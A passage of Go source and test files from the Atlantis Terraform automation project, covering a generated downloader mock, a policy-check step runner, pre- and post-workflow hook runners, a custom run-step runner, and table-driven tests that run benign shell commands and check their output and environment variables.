"time" ) type MockDownloader struct { fail func(message string, callerSkip ...int) } func NewMockDownloader(options ...pegomock.Option) *MockDownloader { mock := &MockDownloader{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockDownloader) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockDownloader) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockDownloader) GetAny(dst string, src string) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockDownloader().") } _params := []pegomock.Param{dst, src} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetAny", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockDownloader) VerifyWasCalledOnce() *VerifierMockDownloader { return &VerifierMockDownloader{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockDownloader) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockDownloader { return &VerifierMockDownloader{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockDownloader) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDownloader { return &VerifierMockDownloader{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockDownloader) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockDownloader { return &VerifierMockDownloader{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockDownloader struct { mock *MockDownloader invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockDownloader) GetAny(dst string, src string) *MockDownloader_GetAny_OngoingVerification { _params := []pegomock.Param{dst, src} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetAny", _params, verifier.timeout) return &MockDownloader_GetAny_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockDownloader_GetAny_OngoingVerification struct { mock *MockDownloader methodInvocations []pegomock.MethodInvocation } func (c *MockDownloader_GetAny_OngoingVerification) GetCapturedArguments() (string, string) { dst, src := c.GetAllCapturedArguments() return dst[len(dst)-1], src[len(src)-1] } func (c *MockDownloader_GetAny_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]string, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(string) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } } return } ================================================ FILE: server/core/runtime/policy_check_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" ) // policyCheckStepRunner runs a policy check command given a ctx type policyCheckStepRunner struct { versionEnsurer ExecutorVersionEnsurer executor Executor } // NewPolicyCheckStepRunner creates a new step runner from an executor workflow func NewPolicyCheckStepRunner(defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version, executorWorkflow VersionedExecutorWorkflow) (Runner, error) { policyCheckStepRunner := &policyCheckStepRunner{ versionEnsurer: executorWorkflow, executor: executorWorkflow, } remotePlanRunner := RemoteBackendUnsupportedRunner{} runner := NewPlanTypeStepRunnerDelegate(policyCheckStepRunner, remotePlanRunner) return NewMinimumVersionStepRunnerDelegate(minimumShowTfVersion, defaultTfVersion, runner) } // Run ensures a given version for the executable, builds the args from the project context and then runs executable returning the result func (p *policyCheckStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { executable, err := p.versionEnsurer.EnsureExecutorVersion(ctx.Log, ctx.PolicySets.Version) if err != nil { return "", fmt.Errorf("ensuring policy executor version: %w", err) } return p.executor.Run(ctx, executable, envs, path, extraArgs) } ================================================ FILE: server/core/runtime/policy_check_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "errors" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestRun(t *testing.T) { RegisterMockTestingT(t) logger := logging.NewNoopLogger(t) workspace := "default" v, _ := version.NewVersion("1.0") workdir := "/path" executablePath := "some/path/conftest" context := command.ProjectContext{ Log: logger, EscapedCommentArgs: []string{"comment", "args"}, Workspace: workspace, RepoRelDir: ".", User: models.User{Username: "username"}, Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, PolicySets: valid.PolicySets{ Version: v, PolicySets: []valid.PolicySet{}, }, } executorWorkflow := mocks.NewMockVersionedExecutorWorkflow() s := &policyCheckStepRunner{ versionEnsurer: executorWorkflow, executor: executorWorkflow, } t.Run("success", func(t *testing.T) { extraArgs := []string{"extra", "args"} When(executorWorkflow.EnsureExecutorVersion(logger, v)).ThenReturn(executablePath, nil) When(executorWorkflow.Run(context, executablePath, map[string]string(nil), workdir, extraArgs)).ThenReturn("Success!", nil) output, err := s.Run(context, extraArgs, workdir, map[string]string(nil)) Ok(t, err) Equals(t, "Success!", output) }) t.Run("ensure version failure", func(t *testing.T) { extraArgs := []string{"extra", "args"} expectedErr := errors.New("error ensuring version") When(executorWorkflow.EnsureExecutorVersion(logger, v)).ThenReturn("", expectedErr) _, err := s.Run(context, extraArgs, workdir, map[string]string(nil)) Assert(t, err != nil, "error is not nil") }) t.Run("executor failure", func(t *testing.T) { extraArgs := []string{"extra", "args"} When(executorWorkflow.EnsureExecutorVersion(logger, v)).ThenReturn(executablePath, nil) When(executorWorkflow.Run(context, executablePath, map[string]string(nil), workdir, extraArgs)).ThenReturn("", errors.New("error running executor")) _, err := s.Run(context, extraArgs, workdir, map[string]string(nil)) Assert(t, err != nil, "error is not nil") }) } ================================================ FILE: server/core/runtime/post_workflow_hook_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "os" "os/exec" "path/filepath" "strings" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/jobs" ) //go:generate pegomock generate --package mocks -o mocks/mock_post_workflows_hook_runner.go PostWorkflowHookRunner type PostWorkflowHookRunner interface { Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) } type DefaultPostWorkflowHookRunner struct { OutputHandler jobs.ProjectCommandOutputHandler } func (wh DefaultPostWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) { outputFilePath := filepath.Join(path, "OUTPUT_STATUS_FILE") shellArgsSlice := append(strings.Split(shellArgs, " "), command) cmd := exec.Command(shell, shellArgsSlice...) // #nosec cmd.Dir = path baseEnvVars := os.Environ() customEnvVars := map[string]string{ "BASE_BRANCH_NAME": ctx.Pull.BaseBranch, "BASE_REPO_NAME": ctx.BaseRepo.Name, "BASE_REPO_OWNER": ctx.BaseRepo.Owner, "COMMENT_ARGS": strings.Join(ctx.EscapedCommentArgs, ","), "DIR": path, "HEAD_BRANCH_NAME": ctx.Pull.HeadBranch, "HEAD_COMMIT": ctx.Pull.HeadCommit, "HEAD_REPO_NAME": ctx.HeadRepo.Name, "HEAD_REPO_OWNER": ctx.HeadRepo.Owner, "PULL_AUTHOR": ctx.Pull.Author, "PULL_NUM": fmt.Sprintf("%d", ctx.Pull.Num), "PULL_URL": ctx.Pull.URL, "USER_NAME": ctx.User.Username, "OUTPUT_STATUS_FILE": outputFilePath, "COMMAND_NAME": ctx.CommandName, "COMMAND_HAS_ERRORS": fmt.Sprintf("%t", ctx.CommandHasErrors), } finalEnvVars := baseEnvVars for key, val := range customEnvVars { finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) } cmd.Env = finalEnvVars out, err := cmd.CombinedOutput() outString := strings.ReplaceAll(string(out), "\n", "\r\n") wh.OutputHandler.SendWorkflowHook(ctx, outString, false) wh.OutputHandler.SendWorkflowHook(ctx, "\n", true) if err != nil { err = fmt.Errorf("%s: running '%s' in '%s': \n%s", err, shell+" "+shellArgs+" "+command, path, out) ctx.Log.Debug("error: %s", err) return string(out), "", err } // Read the value from the "outputFilePath" file // to be returned as a custom description. var customStatusOut []byte if _, err := os.Stat(outputFilePath); err == nil { var customStatusErr error customStatusOut, customStatusErr = os.ReadFile(outputFilePath) if customStatusErr != nil { err = fmt.Errorf("%s: running '%s' in '%s': \n%s", err, shell+" "+shellArgs+" "+command, path, out) ctx.Log.Debug("error: %s", err) return string(out), "", err } } ctx.Log.Info("Successfully ran '%s' in '%s'", shell+" "+shellArgs+" "+command, path) return string(out), strings.Trim(string(customStatusOut), "\n"), nil } ================================================ FILE: server/core/runtime/post_workflow_hook_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime_test import ( "fmt" "strings" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/runtime" tf "github.com/runatlantis/atlantis/server/core/terraform" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/models" jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestPostWorkflowHookRunner_Run(t *testing.T) { defaultShell := "sh" defaultShellArgs := "-c" defaultShellCommandNotFoundErrorFormat := commandNotFoundErrorFormat(defaultShell) defaultUnterminatedStringError := unterminatedStringError(defaultShell, defaultShellArgs) cases := []struct { Command string Shell string ShellArgs string ExpOut string ExpErr string ExpDescription string }{ { Command: "", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "", ExpErr: "", ExpDescription: "", }, { Command: "echo hi", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "hi\r\n", ExpErr: "", ExpDescription: "", }, { Command: `printf \'your main.tf file does not provide default region.\\ncheck\'`, Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: `'your`, ExpErr: "", ExpDescription: "", }, { Command: `printf 'your main.tf file does not provide default region.\ncheck'`, Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "your main.tf file does not provide default region.\r\ncheck", ExpErr: "", ExpDescription: "", }, { Command: "echo 'a", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: defaultUnterminatedStringError, ExpErr: "exit status 2: running 'sh -c echo 'a' in", ExpDescription: "", }, { Command: "echo hi >> file && cat file", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "hi\r\n", ExpErr: "", ExpDescription: "", }, { Command: "lkjlkj", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: fmt.Sprintf(defaultShellCommandNotFoundErrorFormat, "lkjlkj"), ExpErr: "exit status 127: running 'sh -c lkjlkj' in", ExpDescription: "", }, { Command: "echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME head_commit=$HEAD_COMMIT base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_url=$PULL_URL pull_author=$PULL_AUTHOR", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat head_commit=12345abcdef base_branch_name=main pull_num=2 pull_url=https://github.com/runatlantis/atlantis/pull/2 pull_author=acme\r\n", ExpErr: "", ExpDescription: "", }, { Command: "echo user_name=$USER_NAME", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "user_name=acme-user\r\n", ExpErr: "", ExpDescription: "", }, { Command: "echo command_name=$COMMAND_NAME command_has_errors=$COMMAND_HAS_ERRORS", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "command_name=plan command_has_errors=false\r\n", ExpErr: "", ExpDescription: "", }, { Command: "echo something > $OUTPUT_STATUS_FILE", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "", ExpErr: "", ExpDescription: "something", }, { Command: "echo shell test 1", Shell: "bash", ShellArgs: defaultShellArgs, ExpOut: "shell test 1\r\n", ExpErr: "", ExpDescription: "", }, { Command: "echo shell test 2", Shell: defaultShell, ShellArgs: "-cx", ExpOut: "+ echo shell test 2\r\nshell test 2\r\n", ExpErr: "", ExpDescription: "", }, { Command: "echo shell test 3", Shell: "bash", ShellArgs: "-cv", ExpOut: "echo shell test 3\r\nshell test 3\r\n", ExpErr: "", ExpDescription: "", }, } for _, c := range cases { var err error Ok(t, err) RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() When(terraform.EnsureVersion(Any[logging.SimpleLogging](), Any[tf.Distribution](), Any[*version.Version]())). ThenReturn(nil) logger := logging.NewNoopLogger(t) tmpDir := t.TempDir() projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() r := runtime.DefaultPostWorkflowHookRunner{ OutputHandler: projectCmdOutputHandler, } t.Run(c.Command, func(t *testing.T) { ctx := models.WorkflowHookCommandContext{ BaseRepo: models.Repo{ Name: "basename", Owner: "baseowner", }, HeadRepo: models.Repo{ Name: "headname", Owner: "headowner", }, Pull: models.PullRequest{ Num: 2, URL: "https://github.com/runatlantis/atlantis/pull/2", HeadBranch: "add-feat", HeadCommit: "12345abcdef", BaseBranch: "main", Author: "acme", }, User: models.User{ Username: "acme-user", }, Log: logger, CommandName: "plan", CommandHasErrors: false, } _, desc, err := r.Run(ctx, c.Command, c.Shell, c.ShellArgs, tmpDir) if c.ExpErr != "" { ErrContains(t, c.ExpErr, err) } else { Ok(t, err) } // Replace $DIR in the exp with the actual temp dir. We do this // here because when constructing the cases we don't yet know the // temp dir. Equals(t, c.ExpDescription, desc) expOut := strings.ReplaceAll(c.ExpOut, "$DIR", tmpDir) projectCmdOutputHandler.VerifyWasCalledOnce().SendWorkflowHook( Any[models.WorkflowHookCommandContext](), Eq(expOut), Eq(false)) }) } } ================================================ FILE: server/core/runtime/pre_workflow_hook_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "os" "os/exec" "path/filepath" "strings" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/jobs" ) //go:generate pegomock generate --package mocks -o mocks/mock_pre_workflows_hook_runner.go PreWorkflowHookRunner type PreWorkflowHookRunner interface { Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) } type DefaultPreWorkflowHookRunner struct { OutputHandler jobs.ProjectCommandOutputHandler } func (wh DefaultPreWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) { outputFilePath := filepath.Join(path, "OUTPUT_STATUS_FILE") shellArgsSlice := append(strings.Split(shellArgs, " "), command) cmd := exec.Command(shell, shellArgsSlice...) // #nosec cmd.Dir = path baseEnvVars := os.Environ() customEnvVars := map[string]string{ "BASE_BRANCH_NAME": ctx.Pull.BaseBranch, "BASE_REPO_NAME": ctx.BaseRepo.Name, "BASE_REPO_OWNER": ctx.BaseRepo.Owner, "COMMENT_ARGS": strings.Join(ctx.EscapedCommentArgs, ","), "DIR": path, "HEAD_BRANCH_NAME": ctx.Pull.HeadBranch, "HEAD_COMMIT": ctx.Pull.HeadCommit, "HEAD_REPO_NAME": ctx.HeadRepo.Name, "HEAD_REPO_OWNER": ctx.HeadRepo.Owner, "PULL_AUTHOR": ctx.Pull.Author, "PULL_NUM": fmt.Sprintf("%d", ctx.Pull.Num), "PULL_URL": ctx.Pull.URL, "USER_NAME": ctx.User.Username, "OUTPUT_STATUS_FILE": outputFilePath, "COMMAND_NAME": ctx.CommandName, } finalEnvVars := baseEnvVars for key, val := range customEnvVars { finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) } cmd.Env = finalEnvVars out, err := cmd.CombinedOutput() outString := strings.ReplaceAll(string(out), "\n", "\r\n") wh.OutputHandler.SendWorkflowHook(ctx, outString, false) wh.OutputHandler.SendWorkflowHook(ctx, "\n", true) if err != nil { err = fmt.Errorf("%s: running %q in %q: \n%s", err, shell+" "+shellArgs+" "+command, path, out) ctx.Log.Debug("error: %s", err) return string(out), "", err } // Read the value from the "outputFilePath" file // to be returned as a custom description. var customStatusOut []byte if _, err := os.Stat(outputFilePath); err == nil { var customStatusErr error customStatusOut, customStatusErr = os.ReadFile(outputFilePath) if customStatusErr != nil { err = fmt.Errorf("%s: running %q in %q: \n%s", err, shell+" "+shellArgs+" "+command, path, out) ctx.Log.Debug("error: %s", err) return string(out), "", err } } ctx.Log.Info("Successfully ran '%s' in '%s'", shell+" "+shellArgs+" "+command, path) return string(out), strings.Trim(string(customStatusOut), "\n"), nil } ================================================ FILE: server/core/runtime/pre_workflow_hook_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime_test import ( "fmt" goruntime "runtime" "strings" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/runtime" tf "github.com/runatlantis/atlantis/server/core/terraform" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/models" jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func commandNotFoundErrorFormat(shell string) string { // TODO: Add more GOOSs. Also I haven't done too much testing // maybe the output here depends on other factors as well if goruntime.GOOS == "darwin" { return fmt.Sprintf("%s: %%s: command not found\r\n", shell) } return fmt.Sprintf("%s: 1: %%s: not found\r\n", shell) } func unterminatedStringError(shell, shellArgs string) string { // TODO: Add more GOOSs. Also I haven't done too much testing // maybe the output here depends on other factors as well if goruntime.GOOS == "darwin" { return fmt.Sprintf("%s: %s: line 0: unexpected EOF while looking for matching `''\r\n%s: %s: line 1: syntax error: unexpected end of file\r\n", shell, shellArgs, shell, shellArgs) } return fmt.Sprintf("%s: 1: Syntax error: Unterminated quoted string\r\n", shell) } func TestPreWorkflowHookRunner_Run(t *testing.T) { defaultShell := "sh" defaultShellArgs := "-c" defaultShellCommandNotFoundErrorFormat := commandNotFoundErrorFormat(defaultShell) defaultUnterminatedStringError := unterminatedStringError(defaultShell, defaultShellArgs) cases := []struct { Command string Shell string ShellArgs string ExpOut string ExpErr string ExpDescription string }{ { Command: "", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "", ExpErr: "", ExpDescription: "", }, { Command: "echo hi", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "hi\r\n", ExpErr: "", ExpDescription: "", }, { Command: `printf \'your main.tf file does not provide default region.\\ncheck\'`, Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: `'your`, ExpErr: "", ExpDescription: "", }, { Command: `printf 'your main.tf file does not provide default region.\ncheck'`, Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "your main.tf file does not provide default region.\r\ncheck", ExpErr: "", ExpDescription: "", }, { Command: "echo 'a", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: defaultUnterminatedStringError, ExpErr: "exit status 2: running \"sh -c echo 'a\" in", ExpDescription: "", }, { Command: "echo hi >> file && cat file", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "hi\r\n", ExpErr: "", ExpDescription: "", }, { Command: "lkjlkj", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: fmt.Sprintf(defaultShellCommandNotFoundErrorFormat, "lkjlkj"), ExpErr: "exit status 127: running \"sh -c lkjlkj\" in", ExpDescription: "", }, { Command: "echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME head_commit=$HEAD_COMMIT base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_url=$PULL_URL pull_author=$PULL_AUTHOR", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat head_commit=12345abcdef base_branch_name=main pull_num=2 pull_url=https://github.com/runatlantis/atlantis/pull/2 pull_author=acme\r\n", ExpErr: "", ExpDescription: "", }, { Command: "echo user_name=$USER_NAME", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "user_name=acme-user\r\n", ExpErr: "", ExpDescription: "", }, { Command: "echo something > $OUTPUT_STATUS_FILE", Shell: defaultShell, ShellArgs: defaultShellArgs, ExpOut: "", ExpErr: "", ExpDescription: "something", }, { Command: "echo shell test 1", Shell: "bash", ShellArgs: defaultShellArgs, ExpOut: "shell test 1\r\n", ExpErr: "", ExpDescription: "", }, { Command: "echo shell test 2", Shell: defaultShell, ShellArgs: "-cx", ExpOut: "+ echo shell test 2\r\nshell test 2\r\n", ExpErr: "", ExpDescription: "", }, { Command: "echo shell test 3", Shell: "bash", ShellArgs: "-cv", ExpOut: "echo shell test 3\r\nshell test 3\r\n", ExpErr: "", ExpDescription: "", }, } for _, c := range cases { var err error Ok(t, err) RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() When(terraform.EnsureVersion(Any[logging.SimpleLogging](), Any[tf.Distribution](), Any[*version.Version]())). ThenReturn(nil) logger := logging.NewNoopLogger(t) tmpDir := t.TempDir() projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() r := runtime.DefaultPreWorkflowHookRunner{ OutputHandler: projectCmdOutputHandler, } t.Run(c.Command, func(t *testing.T) { ctx := models.WorkflowHookCommandContext{ BaseRepo: models.Repo{ Name: "basename", Owner: "baseowner", }, HeadRepo: models.Repo{ Name: "headname", Owner: "headowner", }, Pull: models.PullRequest{ Num: 2, URL: "https://github.com/runatlantis/atlantis/pull/2", HeadBranch: "add-feat", HeadCommit: "12345abcdef", BaseBranch: "main", Author: "acme", }, User: models.User{ Username: "acme-user", }, Log: logger, CommandName: "plan", } _, desc, err := r.Run(ctx, c.Command, c.Shell, c.ShellArgs, tmpDir) if c.ExpErr != "" { ErrContains(t, c.ExpErr, err) } else { Ok(t, err) } // Replace $DIR in the exp with the actual temp dir. We do this // here because when constructing the cases we don't yet know the // temp dir. Equals(t, c.ExpDescription, desc) expOut := strings.ReplaceAll(c.ExpOut, "$DIR", tmpDir) projectCmdOutputHandler.VerifyWasCalledOnce().SendWorkflowHook( Any[models.WorkflowHookCommandContext](), Eq(expOut), Eq(false)) }) } } ================================================ FILE: server/core/runtime/pull_approved_checker.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) //go:generate pegomock generate --package mocks -o mocks/mock_pull_approved_checker.go PullApprovedChecker type PullApprovedChecker interface { PullIsApproved(logger logging.SimpleLogging, baseRepo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) } ================================================ FILE: server/core/runtime/run_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "os" "path/filepath" "regexp" "strconv" "strings" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime/models" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/jobs" ) // RunStepRunner runs custom commands. type RunStepRunner struct { TerraformExecutor TerraformExec DefaultTFDistribution terraform.Distribution DefaultTFVersion *version.Version // TerraformBinDir is the directory where Atlantis downloads Terraform binaries. TerraformBinDir string ProjectCmdOutputHandler jobs.ProjectCommandOutputHandler } func (r *RunStepRunner) Run( ctx command.ProjectContext, shell *valid.CommandShell, command string, path string, envs map[string]string, streamOutput bool, postProcessOutput []valid.PostProcessRunOutputOption, postProcessFilterRegexes []*regexp.Regexp, ) (string, error) { tfDistribution := r.DefaultTFDistribution tfVersion := r.DefaultTFVersion if ctx.TerraformDistribution != nil { tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) } if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } err := r.TerraformExecutor.EnsureVersion(ctx.Log, tfDistribution, tfVersion) if err != nil { err = fmt.Errorf("%s: Downloading terraform Version %s", err, tfVersion.String()) ctx.Log.Debug("error: %s", err) return "", err } baseEnvVars := os.Environ() customEnvVars := map[string]string{ "ATLANTIS_TERRAFORM_DISTRIBUTION": tfDistribution.BinName(), "ATLANTIS_TERRAFORM_VERSION": tfVersion.String(), "BASE_BRANCH_NAME": ctx.Pull.BaseBranch, "BASE_REPO_NAME": ctx.BaseRepo.Name, "BASE_REPO_OWNER": ctx.BaseRepo.Owner, "COMMENT_ARGS": strings.Join(ctx.EscapedCommentArgs, ","), "DIR": path, "HEAD_BRANCH_NAME": ctx.Pull.HeadBranch, "HEAD_COMMIT": ctx.Pull.HeadCommit, "HEAD_REPO_NAME": ctx.HeadRepo.Name, "HEAD_REPO_OWNER": ctx.HeadRepo.Owner, "PATH": fmt.Sprintf("%s:%s", os.Getenv("PATH"), r.TerraformBinDir), "PLANFILE": filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)), "SHOWFILE": filepath.Join(path, ctx.GetShowResultFileName()), "POLICYCHECKFILE": filepath.Join(path, ctx.GetPolicyCheckResultFileName()), "PROJECT_NAME": ctx.ProjectName, "PULL_AUTHOR": ctx.Pull.Author, "PULL_NUM": fmt.Sprintf("%d", ctx.Pull.Num), "PULL_URL": ctx.Pull.URL, "REPO_REL_DIR": ctx.RepoRelDir, "USER_NAME": ctx.User.Username, "WORKSPACE": ctx.Workspace, } // Add PR metadata environment variables for plan and apply steps if ctx.CommandName.String() == "plan" || ctx.CommandName.String() == "apply" { customEnvVars["ATLANTIS_PR_APPROVED"] = strconv.FormatBool(ctx.PullReqStatus.ApprovalStatus.IsApproved) customEnvVars["ATLANTIS_PR_MERGEABLE"] = strconv.FormatBool(ctx.PullReqStatus.MergeableStatus.IsMergeable) } finalEnvVars := baseEnvVars for key, val := range customEnvVars { finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) } for key, val := range envs { finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) } runner := models.NewShellCommandRunner(shell, command, finalEnvVars, path, streamOutput, r.ProjectCmdOutputHandler) output, err := runner.Run(ctx) // These need to run before the error check to filter output for _, processOutput := range postProcessOutput { switch processOutput { case valid.PostProcessRunOutputStripRefreshing: output = StripRefreshingFromPlanOutput(output, tfVersion) case valid.PostProcessRunOutputFilterRegexKey: for _, filterRegexes := range postProcessFilterRegexes { output = FilterRegexFromPlanOutput(output, filterRegexes) } } } if err != nil { err = fmt.Errorf("%s: running %q in %q: \n%s", err, command, path, output) if !ctx.CustomPolicyCheck { ctx.Log.Debug("error: %s", err) } else { ctx.Log.Debug("Treating custom policy tool error exit code as a policy failure. Error output: %s", err) } return "", err } for _, processOutput := range postProcessOutput { switch processOutput { case valid.PostProcessRunOutputHide: output = "" default: } } return output, nil } ================================================ FILE: server/core/runtime/run_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime_test import ( "fmt" "os" "regexp" "strings" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime" tf "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestRunStepRunner_Run(t *testing.T) { testRegexSecret := regexp.MustCompile(`((?i)Secret:\s")[^"]*`) cases := []struct { Command string ProjectName string ExpOut string ExpErr string Version string Distribution string PostProcessOutput []valid.PostProcessRunOutputOption PostProcessFilterRegexes []*regexp.Regexp }{ { Command: "", ExpOut: "", Version: "v1.2.3", }, { Command: "echo hi", ExpOut: "hi\n", Version: "v2.3.4", }, { Command: `printf \'your main.tf file does not provide default region.\\ncheck\'`, ExpOut: "'your\n", }, { Command: `printf 'your main.tf file does not provide default region.\ncheck'`, ExpOut: "your main.tf file does not provide default region.\ncheck\n", }, { Command: `printf '\e[32mgreen'`, ExpOut: "green\n", }, { Command: "echo 'a", ExpErr: "exit status 2: running \"echo 'a\" in", }, { Command: "echo hi >> file && cat file", ExpOut: "hi\n", }, { Command: "lkjlkj", ExpErr: "exit status 127: running \"lkjlkj\" in", }, { Command: "echo workspace=$WORKSPACE version=$ATLANTIS_TERRAFORM_VERSION dir=$DIR planfile=$PLANFILE showfile=$SHOWFILE 